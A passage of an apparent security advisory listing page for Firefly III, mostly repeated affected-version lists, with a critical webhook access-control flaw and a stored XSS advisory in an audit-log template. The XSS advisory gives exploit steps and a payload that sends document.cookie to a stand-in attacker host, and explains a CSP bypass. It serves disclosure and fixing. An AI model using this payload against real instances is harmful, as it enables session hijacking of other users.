            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 07, 2026

v6.4.16 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 17, 2026

v6.4.15 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


